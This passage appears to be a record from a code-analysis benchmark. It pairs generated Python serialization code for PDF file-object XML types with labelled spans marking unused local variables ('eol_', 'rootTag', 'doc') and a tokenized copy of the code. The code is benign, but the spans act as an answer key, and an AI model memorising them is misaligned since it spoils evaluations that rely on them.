fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Size is not None:\n self.Size.export(lwrite, level, 'PDFFileObj:', name_='Size', pretty_print=pretty_print)\n if self.Prev is not None:\n self.Prev.export(lwrite, level, 'PDFFileObj:', name_='Prev', pretty_print=pretty_print)\n if self.Root is not None:\n self.Root.export(lwrite, level, 'PDFFileObj:', name_='Root', pretty_print=pretty_print)\n if self.Encrypt is not None:\n self.Encrypt.export(lwrite, level, 'PDFFileObj:', name_='Encrypt', pretty_print=pretty_print)\n if self.Info is not None:\n self.Info.export(lwrite, level, 'PDFFileObj:', name_='Info', pretty_print=pretty_print)\n if self.ID is not None:\n self.ID.export(lwrite, level, 'PDFFileObj:', name_='ID', pretty_print=pretty_print)\n if self.Last_Cross_Reference_Offset is not None:\n self.Last_Cross_Reference_Offset.export(lwrite, level, 'PDFFileObj:', name_='Last_Cross_Reference_Offset', pretty_print=pretty_print)\n if self.Offset is not None:\n self.Offset.export(lwrite, level, 'PDFFileObj:', name_='Offset', pretty_print=pretty_print)\n if self.Hashes is not None:\n self.Hashes.export(lwrite, level, 'PDFFileObj:', name_='Hashes', pretty_print=pretty_print)", "metadata": "root.PDFTrailerType.exportChildren", "header": "['class', 'PDFTrailerType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 461 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFFileIDType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for ID_String_ in self.ID_String:\n ID_String_.export(lwrite, level, 'PDFFileObj:', name_='ID_String', pretty_print=pretty_print)", "metadata": "root.PDFFileIDType.exportChildren", "header": "['class', 'PDFFileIDType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 580 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFIndirectObjectListType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for Indirect_Object_ in self.Indirect_Object:\n Indirect_Object_.export(lwrite, level, 'PDFFileObj:', name_='Indirect_Object', pretty_print=pretty_print)", "metadata": "root.PDFIndirectObjectListType.exportChildren", "header": "['class', 'PDFIndirectObjectListType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 648 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFIndirectObjectType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.ID is not None:\n self.ID.export(lwrite, level, 'PDFFileObj:', name_='ID', pretty_print=pretty_print)\n if self.Contents is not None:\n self.Contents.export(lwrite, level, 'PDFFileObj:', name_='Contents', pretty_print=pretty_print)\n if self.Offset is not None:\n self.Offset.export(lwrite, level, 'PDFFileObj:', name_='Offset', pretty_print=pretty_print)\n if self.Hashes is not None:\n self.Hashes.export(lwrite, level, 'PDFFileObj:', name_='Hashes', pretty_print=pretty_print)", "metadata": "root.PDFIndirectObjectType.exportChildren", "header": "['class', 'PDFIndirectObjectType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 733 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFIndirectObjectIDType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Object_Number is not None:\n self.Object_Number.export(lwrite, level, 'PDFFileObj:', name_='Object_Number', pretty_print=pretty_print)\n if self.Generation_Number is not None:\n self.Generation_Number.export(lwrite, level, 'PDFFileObj:', name_='Generation_Number', pretty_print=pretty_print)", "metadata": "root.PDFIndirectObjectIDType.exportChildren", "header": "['class', 'PDFIndirectObjectIDType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 827 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFIndirectObjectContentsType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Non_Stream_Contents is not None:\n if self.Non_Stream_Contents.get_valueOf_() is not None:\n value = self.Non_Stream_Contents.get_valueOf_()\n if not value.startswith('<![CDATA['):\n value = '<![CDATA[' + value + ']]>'\n self.Non_Stream_Contents.set_valueOf_(value)\n self.Non_Stream_Contents.export(lwrite, level, 'PDFFileObj:', name_='Non_Stream_Contents', pretty_print=pretty_print)\n if self.Stream_Contents is not None:\n self.Stream_Contents.export(lwrite, level, 'PDFFileObj:', name_='Stream_Contents', pretty_print=pretty_print)", "metadata": "root.PDFIndirectObjectContentsType.exportChildren", "header": "['class', 'PDFIndirectObjectContentsType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 903 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFStreamType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Raw_Stream is not None:\n self.Raw_Stream.export(lwrite, level, 'PDFFileObj:', name_='Raw_Stream', pretty_print=pretty_print)\n if self.Raw_Stream_Hashes is not None:\n self.Raw_Stream_Hashes.export(lwrite, level, 'PDFFileObj:', name_='Raw_Stream_Hashes', pretty_print=pretty_print)\n if self.Decoded_Stream is not None:\n self.Decoded_Stream.export(lwrite, level, 'PDFFileObj:', name_='Decoded_Stream', pretty_print=pretty_print)\n if self.Decoded_Stream_Hashes is not None:\n self.Decoded_Stream_Hashes.export(lwrite, level, 'PDFFileObj:', name_='Decoded_Stream_Hashes', pretty_print=pretty_print)", "metadata": "root.PDFStreamType.exportChildren", "header": "['class', 'PDFStreamType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 995 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFDocumentInformationDictionaryType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Title is not None:\n self.Title.export(lwrite, level, 'PDFFileObj:', name_='Title', pretty_print=pretty_print)\n if self.Author is not None:\n self.Author.export(lwrite, level, 'PDFFileObj:', name_='Author', pretty_print=pretty_print)\n if self.Subject is not None:\n self.Subject.export(lwrite, level, 'PDFFileObj:', name_='Subject', pretty_print=pretty_print)\n if self.Keywords is not None:\n self.Keywords.export(lwrite, level, 'PDFFileObj:', name_='Keywords', pretty_print=pretty_print)\n if self.Creator is not None:\n self.Creator.export(lwrite, level, 'PDFFileObj:', name_='Creator', pretty_print=pretty_print)\n if self.Producer is not None:\n self.Producer.export(lwrite, level, 'PDFFileObj:', name_='Producer', pretty_print=pretty_print)\n if self.CreationDate is not None:\n self.CreationDate.export(lwrite, level, 'PDFFileObj:', name_='CreationDate', pretty_print=pretty_print)\n if self.ModDate is not None:\n self.ModDate.export(lwrite, level, 'PDFFileObj:', name_='ModDate', pretty_print=pretty_print)\n if self.Trapped is not None:\n self.Trapped.export(lwrite, level, 'PDFFileObj:', name_='Trapped', pretty_print=pretty_print)", "metadata": "root.PDFDocumentInformationDictionaryType.exportChildren", "header": "['class', 'PDFDocumentInformationDictionaryType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 1115 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFXrefEntryListType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n for Cross_Reference_Entry_ in self.Cross_Reference_Entry:\n Cross_Reference_Entry_.export(lwrite, level, 'PDFFileObj:', name_='Cross_Reference_Entry', pretty_print=pretty_print)", "metadata": "root.PDFXrefEntryListType.exportChildren", "header": "['class', 'PDFXrefEntryListType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 1231 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFXrefEntryType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Byte_Offset is not None:\n self.Byte_Offset.export(lwrite, level, 'PDFFileObj:', name_='Byte_Offset', pretty_print=pretty_print)\n if self.Object_Number is not None:\n self.Object_Number.export(lwrite, level, 'PDFFileObj:', name_='Object_Number', pretty_print=pretty_print)\n if self.Generation_Number is not None:\n self.Generation_Number.export(lwrite, level, 'PDFFileObj:', name_='Generation_Number', pretty_print=pretty_print)", "metadata": "root.PDFXrefEntryType.exportChildren", "header": "['class', 'PDFXrefEntryType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 1314 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFDictionaryType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Object_Reference is not None:\n self.Object_Reference.export(lwrite, level, 'PDFFileObj:', name_='Object_Reference', pretty_print=pretty_print)\n if self.Raw_Contents is not None:\n if self.Raw_Contents.get_valueOf_() is not None:\n value = self.Raw_Contents.get_valueOf_()\n if not value.startswith('<![CDATA['):\n value = '<![CDATA[' + value + ']]>'\n self.Raw_Contents.set_valueOf_(value)\n self.Raw_Contents.export(lwrite, level, 'PDFFileObj:', name_='Raw_Contents', pretty_print=pretty_print)", "metadata": "root.PDFDictionaryType.exportChildren", "header": "['class', 'PDFDictionaryType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 1400 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFFileMetadataType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Document_Information_Dictionary is not None:\n self.Document_Information_Dictionary.export(lwrite, level, 'PDFFileObj:', name_='Document_Information_Dictionary', pretty_print=pretty_print)\n if self.Number_Of_Indirect_Objects is not None:\n self.Number_Of_Indirect_Objects.export(lwrite, level, 'PDFFileObj:', name_='Number_Of_Indirect_Objects', pretty_print=pretty_print)\n if self.Number_Of_Trailers is not None:\n self.Number_Of_Trailers.export(lwrite, level, 'PDFFileObj:', name_='Number_Of_Trailers', pretty_print=pretty_print)\n if self.Number_Of_Cross_Reference_Tables is not None:\n self.Number_Of_Cross_Reference_Tables.export(lwrite, level, 'PDFFileObj:', name_='Number_Of_Cross_Reference_Tables', pretty_print=pretty_print)\n if self.Keyword_Counts is not None:\n self.Keyword_Counts.export(lwrite, level, 'PDFFileObj:', name_='Keyword_Counts', pretty_print=pretty_print)", "metadata": "root.PDFFileMetadataType.exportChildren", "header": "['class', 'PDFFileMetadataType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 1506 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFKeywordCountsType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Page_Count is not None:\n self.Page_Count.export(lwrite, level, 'PDFFileObj:', name_='Page_Count', pretty_print=pretty_print)\n if self.Encrypt_Count is not None:\n self.Encrypt_Count.export(lwrite, level, 'PDFFileObj:', name_='Encrypt_Count', pretty_print=pretty_print)\n if self.ObjStm_Count is not None:\n self.ObjStm_Count.export(lwrite, level, 'PDFFileObj:', name_='ObjStm_Count', pretty_print=pretty_print)\n if self.JS_Count is not None:\n self.JS_Count.export(lwrite, level, 'PDFFileObj:', name_='JS_Count', pretty_print=pretty_print)\n if self.JavaScript_Count is not None:\n self.JavaScript_Count.export(lwrite, level, 'PDFFileObj:', name_='JavaScript_Count', pretty_print=pretty_print)\n if self.AA_Count is not None:\n self.AA_Count.export(lwrite, level, 'PDFFileObj:', name_='AA_Count', pretty_print=pretty_print)\n if self.OpenAction_Count is not None:\n self.OpenAction_Count.export(lwrite, level, 'PDFFileObj:', name_='OpenAction_Count', pretty_print=pretty_print)\n if self.ASCIIHexDecode_Count is not None:\n self.ASCIIHexDecode_Count.export(lwrite, level, 'PDFFileObj:', name_='ASCIIHexDecode_Count', pretty_print=pretty_print)\n if self.ASCII85Decode_Count is not None:\n self.ASCII85Decode_Count.export(lwrite, level, 'PDFFileObj:', name_='ASCII85Decode_Count', pretty_print=pretty_print)\n if self.LZWDecode_Count is not None:\n self.LZWDecode_Count.export(lwrite, level, 'PDFFileObj:', name_='LZWDecode_Count', pretty_print=pretty_print)\n if self.FlateDecode_Count is not None:\n self.FlateDecode_Count.export(lwrite, level, 'PDFFileObj:', name_='FlateDecode_Count', pretty_print=pretty_print)\n if self.RunLengthDecode_Count is not None:\n self.RunLengthDecode_Count.export(lwrite, level, 'PDFFileObj:', name_='RunLengthDecode_Count', pretty_print=pretty_print)\n if self.JBIG2Decode_Count is not None:\n self.JBIG2Decode_Count.export(lwrite, level, 'PDFFileObj:', name_='JBIG2Decode_Count', pretty_print=pretty_print)\n if self.DCTDecode_Count is not None:\n self.DCTDecode_Count.export(lwrite, level, 'PDFFileObj:', name_='DCTDecode_Count', pretty_print=pretty_print)\n if self.RichMedia_Count is not None:\n self.RichMedia_Count.export(lwrite, level, 'PDFFileObj:', name_='RichMedia_Count', pretty_print=pretty_print)\n if self.CCITTFaxDecode_Count is not None:\n self.CCITTFaxDecode_Count.export(lwrite, level, 'PDFFileObj:', name_='CCITTFaxDecode_Count', pretty_print=pretty_print)\n if self.Launch_Count is not None:\n self.Launch_Count.export(lwrite, level, 'PDFFileObj:', name_='Launch_Count', pretty_print=pretty_print)\n if self.XFA_Count is not None:\n self.XFA_Count.export(lwrite, level, 'PDFFileObj:', name_='XFA_Count', pretty_print=pretty_print)", "metadata": "root.PDFKeywordCountsType.exportChildren", "header": "['class', 'PDFKeywordCountsType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 1678 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFKeywordCountType', fromsubclass_=False, pretty_print=True):\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Non_Obfuscated_Count is not None:\n self.Non_Obfuscated_Count.export(lwrite, level, 'PDFFileObj:', name_='Non_Obfuscated_Count', pretty_print=pretty_print)\n if self.Obfuscated_Count is not None:\n self.Obfuscated_Count.export(lwrite, level, 'PDFFileObj:', name_='Obfuscated_Count', pretty_print=pretty_print)", "metadata": "root.PDFKeywordCountType.exportChildren", "header": "['class', 'PDFKeywordCountType', '(', 'GeneratedsSuper', ')', ':', '___EOS___']", "index": 1850 }, { "content": " def exportChildren(self, lwrite, level, namespace_='PDFFileObj:', name_='PDFFileObjectType', fromsubclass_=False, pretty_print=True):\n super(PDFFileObjectType, self).exportChildren(lwrite, level, 'PDFFileObj:', name_, True, pretty_print=pretty_print)\n if pretty_print:\n eol_ = '\\n'\n else:\n eol_ = ''\n if self.Metadata is not None:\n self.Metadata.export(lwrite, level, 'PDFFileObj:', name_='Metadata', pretty_print=pretty_print)\n if self.Version is not None:\n self.Version.export(lwrite, level, 'PDFFileObj:', name_='Version', pretty_print=pretty_print)\n if self.Indirect_Objects is not None:\n self.Indirect_Objects.export(lwrite, level, 'PDFFileObj:', name_='Indirect_Objects', pretty_print=pretty_print)\n if self.Cross_Reference_Tables is not None:\n self.Cross_Reference_Tables.export(lwrite, level, 'PDFFileObj:', name_='Cross_Reference_Tables', pretty_print=pretty_print)\n if self.Trailers is not None:\n self.Trailers.export(lwrite, level, 'PDFFileObj:', name_='Trailers', pretty_print=pretty_print)", "metadata": "root.PDFFileObjectType.exportChildren", "header": "['class', 'PDFFileObjectType', '(', 'file_object', '.', 'FileObjectType', ')', ':', '___EOS___']", "index": 1940 }, { "content": "def parse(inFileName):\n doc = parsexml_(inFileName)\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'PDF_File'\n rootClass = PDFFileObjectType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n# sys.stdout.write('<?xml version=\"1.0\" ?>\\n')\n# rootObj.export(sys.stdout.write, 0, name_=rootTag,\n# namespacedef_='',\n# pretty_print=True)\n return rootObj", "metadata": "root.parse", "header": "['module', '___EOS___']", "index": 2156 }, { "content": "def parseEtree(inFileName):\n doc = parsexml_(inFileName)\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'PDF_File'\n rootClass = PDFFileObjectType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n rootElement = rootObj.to_etree(None, name_=rootTag)\n content = etree_.tostring(rootElement, pretty_print=True,\n xml_declaration=True, encoding=\"utf-8\")\n sys.stdout.write(content)\n sys.stdout.write('\\n')\n return rootObj, rootElement", "metadata": "root.parseEtree", "header": "['module', '___EOS___']", "index": 2173 }, { "content": "def parseString(inString):\n from mixbox.vendor.six import StringIO\n doc = parsexml_(StringIO(inString))\n rootNode = doc.getroot()\n rootTag, rootClass = get_root_tag(rootNode)\n if rootClass is None:\n rootTag = 'PDF_File'\n rootClass = PDFFileObjectType\n rootObj = rootClass.factory()\n rootObj.build(rootNode)\n # Enable Python to collect the space used by the DOM.\n doc = None\n# sys.stdout.write('<?xml version=\"1.0\" ?>\\n')\n# rootObj.export(sys.stdout.write, 0, name_=\"PDF_File\",\n# namespacedef_='')\n return rootObj", "metadata": "root.parseString", "header": "['module', '___EOS___']", "index": 2191 } ]
[ { "span": "eol_ ", "start_line": 58, "start_column": 12, "end_line": 58, "end_column": 16 }, { "span": "eol_ ", "start_line": 60, "start_column": 12, "end_line": 60, "end_column": 16 }, { "span": "eol_ ", "start_line": 133, "start_column": 12, "end_line": 133, "end_column": 16 }, { "span": "eol_ ", "start_line": 135, "start_column": 12, "end_line": 135, "end_column": 16 }, { "span": "eol_ ", "start_line": 213, "start_column": 12, "end_line": 213, "end_column": 16 }, { "span": "eol_ ", "start_line": 215, "start_column": 12, "end_line": 215, "end_column": 16 }, { "span": "eol_ ", "start_line": 287, "start_column": 12, "end_line": 287, "end_column": 16 }, { "span": "eol_ ", "start_line": 289, "start_column": 12, "end_line": 289, "end_column": 16 }, { "span": "eol_ ", "start_line": 366, "start_column": 12, "end_line": 366, "end_column": 16 }, { "span": "eol_ ", "start_line": 368, "start_column": 12, "end_line": 368, "end_column": 16 }, { "span": "eol_ ", "start_line": 463, "start_column": 12, "end_line": 463, "end_column": 16 }, { "span": "eol_ ", "start_line": 465, "start_column": 12, "end_line": 465, "end_column": 16 }, { "span": "eol_ ", "start_line": 582, "start_column": 12, "end_line": 582, "end_column": 16 }, { "span": "eol_ ", "start_line": 584, "start_column": 12, "end_line": 584, "end_column": 16 }, { "span": "eol_ ", "start_line": 650, "start_column": 12, "end_line": 650, "end_column": 16 }, { "span": "eol_ ", "start_line": 652, "start_column": 12, "end_line": 652, "end_column": 16 }, { "span": "eol_ ", "start_line": 735, "start_column": 12, "end_line": 735, "end_column": 16 }, { "span": "eol_ ", "start_line": 737, "start_column": 12, "end_line": 737, "end_column": 16 }, { "span": "eol_ ", "start_line": 829, "start_column": 12, "end_line": 829, "end_column": 16 }, { "span": "eol_ ", "start_line": 831, "start_column": 12, "end_line": 831, "end_column": 16 }, { "span": "eol_ ", "start_line": 905, "start_column": 12, "end_line": 905, "end_column": 16 }, { "span": "eol_ ", "start_line": 907, "start_column": 12, "end_line": 907, "end_column": 16 }, { "span": "eol_ ", "start_line": 997, "start_column": 12, "end_line": 997, "end_column": 16 }, { "span": "eol_ ", "start_line": 999, "start_column": 12, "end_line": 999, "end_column": 16 }, { "span": "eol_ ", "start_line": 1117, "start_column": 12, "end_line": 1117, "end_column": 16 }, { "span": "eol_ ", "start_line": 1119, "start_column": 12, "end_line": 1119, "end_column": 16 }, { "span": "eol_ ", "start_line": 1233, "start_column": 12, "end_line": 1233, "end_column": 16 }, { "span": "eol_ ", "start_line": 1235, "start_column": 12, "end_line": 1235, "end_column": 16 }, { "span": "eol_ ", "start_line": 1316, "start_column": 12, "end_line": 1316, "end_column": 16 }, { "span": "eol_ ", "start_line": 1318, "start_column": 12, "end_line": 1318, "end_column": 16 }, { "span": "eol_ ", "start_line": 1402, "start_column": 12, "end_line": 1402, "end_column": 16 }, { "span": "eol_ ", "start_line": 1404, "start_column": 12, "end_line": 1404, "end_column": 16 }, { "span": "eol_ ", "start_line": 1508, "start_column": 12, "end_line": 1508, "end_column": 16 }, { "span": "eol_ ", "start_line": 1510, "start_column": 12, "end_line": 1510, "end_column": 16 }, { "span": "eol_ ", "start_line": 1680, "start_column": 12, "end_line": 1680, "end_column": 16 }, { "span": "eol_ ", "start_line": 1682, "start_column": 12, "end_line": 1682, "end_column": 16 }, { "span": "eol_ ", "start_line": 1852, "start_column": 12, "end_line": 1852, "end_column": 16 }, { "span": "eol_ ", "start_line": 1854, "start_column": 12, "end_line": 1854, "end_column": 16 }, { "span": "eol_ ", "start_line": 1943, "start_column": 12, "end_line": 1943, "end_column": 16 }, { "span": "eol_ ", "start_line": 1945, "start_column": 12, "end_line": 1945, "end_column": 16 }, { "span": "rootTag ", "start_line": 2161, "start_column": 8, "end_line": 2161, "end_column": 15 }, { "span": "doc ", "start_line": 2166, "start_column": 4, "end_line": 2166, "end_column": 7 }, { "span": "doc ", "start_line": 2183, "start_column": 4, "end_line": 2183, "end_column": 7 }, { "span": "rootTag ", "start_line": 2197, "start_column": 8, "end_line": 2197, "end_column": 15 }, { "span": "doc ", "start_line": 2202, "start_column": 4, "end_line": 2202, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "PD", "FX", "Ref", "Table", "List", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FX", "Ref", "Table", "List", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Cross", "\\u", "Reference", "\\u", "Table", "\\u_", "in_", "self_", "._", "Cross", "\\u", "Reference", "\\u", "Table_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Cross", "\\u", "Reference", "\\u", "Table", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Cross", "\\u", "Reference", "\\u", "Table", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FX", "Ref", "Table", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FX", "Ref", "Table", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Subsect", "ions_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Subsect", "ions_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Subsect", "ion", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Offset_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Offset_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Off", "set", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Hashe", "s_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Hashe", "s_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Hashe", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FX", "ref", "Table", "Subsect", "ion", "List", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FX", "ref", "Table", "Subsect", "ion", "List", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Subsect", "ion", "\\u_", "in_", "self_", "._", "Subsect", "ion_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Subsect", "ion", "\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Subsect", "ion", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "PD", "FX", "ref", "Table", "Subsect", "ion", "Type_", "(_", "Generate", "ds", "Super", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "export", "Children_", "(_", "self_", ",_", "lw", "rite_", ",_", "level_", ",_", "namespace\\u_", "=_", "'", "PD", "FF", "ile", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "PD", "FX", "ref", "Table", "Subsect", "ion", "Type", "'_", ",_", "froms", "ubc", "lass\\u", "_", "=_", "False_", ",_", "pretty", "\\u", "print_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "pretty", "\\u", "print_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "'\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "eol\\u_", "=_", "''_", 